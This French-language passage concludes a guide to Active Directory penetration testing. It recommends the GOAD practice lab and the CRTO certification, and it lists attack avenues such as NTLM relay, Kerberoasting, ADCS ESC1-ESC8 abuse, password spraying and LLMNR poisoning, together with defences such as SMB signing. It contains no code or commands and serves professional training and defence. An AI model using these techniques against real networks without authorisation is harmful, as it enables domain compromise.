L'objectif d'un pentest AD professionnel n'est pas simplement de prouver qu'on peut devenir Domain Admin, mais de documenter le chemin d'attaque réaliste que pourrait emprunter un adversaire réel, et de fournir des recommandations actionnables pour chaque finding. La mindmap ci-dessus (réalisée par Orange Cyberdefense) illustre parfaitement la multiplicité des vecteurs — gardez-la comme référence lors de vos missions.

Pour vous perfectionner dans ce domaine, le lab GOAD d'Orange Cyberdefense est la référence gratuite incontournable. Pour une certification reconnue, le CRTO (Certified Red Team Operator) est actuellement le gold standard du pentest AD avec C2 framework en conditions réelles.

Aller plus loin : ressources complémentaires

Le pentest Active Directory s'inscrit dans un écosystème plus large de techniques d'attaque et de défense. Pour approfondir vos connaissances sur chaque domaine abordé dans ce guide, consultez nos articles dédiés :

Points clés à retenir — Pentest Active Directory
  • La surface d'attaque AD est immense : NTLM relay, Kerberoasting, ADCS, ACL abuse, Kerberos delegation — chaque composant peut être le maillon faible
  • BloodHound est indispensable pour visualiser les chemins d'attaque — une infrastructure peut sembler sécurisée et être compromise en 3 sauts
  • Les "quick wins" existent : password spray, LLMNR poisoning, SYSVOL GPP — vérifier toujours les fruits à portée de main avant les attaques complexes
  • ADCS est souvent négligé mais ESC1-ESC8 offrent des chemins de compromission directs vers Domain Admin
  • La signature SMB et LDAP channel binding bloquent la majorité des NTLM relays — des quick wins défensifs souvent non implémentés
  • Le rapport est aussi important que la technique — un finding non documenté ou incompréhensible par le RSSI ne sera jamais remédié
  • GOAD d'Orange Cyberdefense est la référence absolue pour pratiquer dans un lab AD vulnérable réaliste